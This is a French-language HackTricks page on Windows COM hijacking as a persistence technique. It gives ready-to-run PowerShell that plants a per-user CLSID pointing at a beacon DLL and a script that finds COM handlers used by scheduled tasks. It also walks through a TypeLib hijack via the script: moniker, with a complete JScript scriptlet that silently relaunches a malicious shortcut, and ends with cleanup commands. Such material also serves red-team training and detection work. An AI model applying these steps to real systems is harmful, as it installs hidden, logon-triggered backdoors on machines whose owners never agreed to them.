COM Hijacking

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Searching not existent COM components

Comme les valeurs de HKCU peuvent ĂȘtre modifiĂ©es par les utilisateurs, COM Hijacking peut ĂȘtre utilisĂ© comme mĂ©canisme persistant. En utilisant procmon, il est facile de trouver des entrĂ©es du registre COM recherchĂ©es qui n'existent pas et que un attaquant pourrait crĂ©er pour assurer une persistance. Filtres :

  • RegOpenKey opĂ©rations.
  • oĂč le Result est NAME NOT FOUND.
  • et le Path se termine par InprocServer32.

Une fois que vous avez dĂ©cidĂ© quel COM inexistant usurper, exĂ©cutez les commandes suivantes. Faites attention si vous dĂ©cidez d'usurper un COM qui est chargĂ© toutes les quelques secondes car cela pourrait ĂȘtre excessif.

bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Composants COM du Planificateur de tĂąches susceptibles d'ĂȘtre dĂ©tournĂ©s

Les tùches Windows utilisent des Custom Triggers pour appeler des objets COM et, comme elles sont exécutées via le Planificateur de tùches, il est plus facile de prévoir quand elles seront déclenchées.

# Show COM CLSIDs
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}

# Sample Output:
# Task Name:  Example
# Task Path:  \Microsoft\Windows\Example\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]

En vérifiant la sortie, vous pouvez en sélectionner une qui sera exécutée, par exemple, à chaque connexion d'un utilisateur.

En recherchant maintenant le CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} dans HKEY\CLASSES\ROOT\CLSID et dans HKLM et HKCU, vous trouverez généralement que la valeur n'existe pas dans HKCU.

bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Ensuite, il vous suffit de créer l'entrée HKCU et à chaque connexion de l'utilisateur, votre backdoor sera déclenchée.


COM TypeLib Hijacking (script: moniker persistence)

Les Type Libraries (TypeLib) dĂ©finissent les interfaces COM et sont chargĂ©es via LoadTypeLib(). Lorsqu'un serveur COM est instanciĂ©, l'OS peut aussi charger le TypeLib associĂ© en consultant les clĂ©s du registre sous HKCR\TypeLib\{LIBID}. Si le chemin du TypeLib est remplacĂ© par un moniker, p.ex. script:C:\...\evil.sct, Windows exĂ©cutera le scriptlet lorsque le TypeLib sera rĂ©solu — gĂ©nĂ©rant une stealthy persistence qui se dĂ©clenche lorsque des composants courants sont sollicitĂ©s.

Cela a Ă©tĂ© observĂ© contre le Microsoft Web Browser control (souvent chargĂ© par Internet Explorer, des apps intĂ©grant WebBrowser, et mĂȘme explorer.exe).

Étapes (PowerShell)

  1. Identifiez le TypeLib (LIBID) utilisé par un CLSID fréquemment sollicité. Exemple de CLSID souvent abusé par des malware chains: {EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}
powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid  LIBID=$libid  VER=$ver"
  1. Pointez le chemin TypeLib par utilisateur vers un scriptlet local en utilisant le moniker script: (aucun droit d'administration requis) :
powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
  1. Déposez un .sct JScript minimal qui relance votre payload principal (par ex. un .lnk utilisé par la chaßne initiale) :
xml
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
  1. DĂ©clenchement – ouvrir IE, une application qui intĂšgre le WebBrowser control, ou mĂȘme une activitĂ© routiniĂšre d'Explorer chargera le TypeLib et exĂ©cutera le scriptlet, re-arming your chain on logon/reboot.

Nettoyage

powershell
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null

Remarques

  • Vous pouvez appliquer la mĂȘme logique Ă  d'autres composants COM frĂ©quemment utilisĂ©s ; rĂ©solvez toujours d'abord le vĂ©ritable LIBID depuis HKCR\CLSID\{CLSID}\TypeLib.
  • Sur les systĂšmes 64 bits, vous pouvez Ă©galement remplir la sous-clĂ© win64 pour les consommateurs 64 bits.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks